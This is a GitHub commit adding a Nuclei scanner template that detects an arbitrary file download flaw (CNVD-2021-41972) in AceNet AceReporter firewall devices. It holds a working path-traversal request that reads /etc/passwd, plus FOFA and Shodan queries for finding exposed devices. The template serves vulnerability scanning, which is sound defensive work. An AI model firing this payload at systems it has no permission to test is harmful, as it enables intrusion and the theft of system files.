Create CNVD-2021-41972.yaml

patch-1
Dhiyaneshwaran 2023-08-04 18:35:52 +05:30 committed by GitHub
parent a2652caeb0
commit 359f578ac4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 42 additions and 0 deletions

View File

@ -0,0 +1,42 @@
id: CNVD-2021-41972
info:
name: AceNet AceReporter Report - Arbitrary File Download
author: DhiyaneshDk
severity: high
description: |
All firewall devices that use the AceNet AceReporter report component can download arbitrary files
reference:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972
- https://github.com/hktalent/scan4all/blob/main/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.txt
metadata:
max-request: 1
fofa-query: body="Login @ Reporter"
shodan-query: http.favicon.hash:-1595726841
tags: cnvd,cnvd2021,acenet,acereporter,lfi
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- method: GET
path:
- "{{BaseURL}}/view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename={{filename}}.txt"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- 'filename='
- 'application/octet-stream'
condition: and
- type: status
status:
- 200